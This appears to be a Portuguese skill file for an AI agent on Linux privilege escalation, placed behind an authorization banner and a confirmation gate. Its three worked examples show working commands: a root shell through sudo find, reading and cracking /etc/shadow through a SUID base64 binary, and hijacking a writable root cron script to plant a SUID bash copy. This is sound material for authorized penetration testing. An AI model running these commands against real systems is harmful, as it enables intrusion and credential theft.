⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Escalação de Privilégios no Linux

Guia Detalhado

Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e o material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.

Restrições e Salvaguardas

Limites Operacionais

• Verifique exploits de kernel em ambiente de teste antes do uso em produção
• Exploits de kernel falhos podem travar o sistema
• Documente todas as alterações feitas durante a escalação de privilégios
• Mantenha a persistência de acesso apenas conforme autorizado

Limitações Técnicas

• Kernels modernos podem ter mitigações contra exploits (ASLR, SMEP, SMAP)
• AppArmor/SELinux podem restringir técnicas de exploração
• Ambientes de contêiner limitam exploits em nível de kernel
• Sistemas endurecidos podem ter configurações de sudo restritas

Requisitos Legais e Éticos

• Autorização por escrito necessária antes do teste
• Permaneça dentro dos limites de escopo definidos
• Relate descobertas críticas imediatamente
• Não acesse dados além dos requisitos de escopo

Exemplos

Exemplo 1: Sudo para Root via find

Cenário: O usuário tem direitos sudo para o comando find

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Exemplo 2: SUID base64 para Acesso ao Shadow

Cenário: O binário base64 tem o bit SUID definido

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt

Exemplo 3: Sequestro de Script de Cron Job

Cenário: O cron job do root executa um script gravável

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

Quando Usar

Esta habilidade é aplicável para executar o fluxo de trabalho ou as ações descritas na visão geral.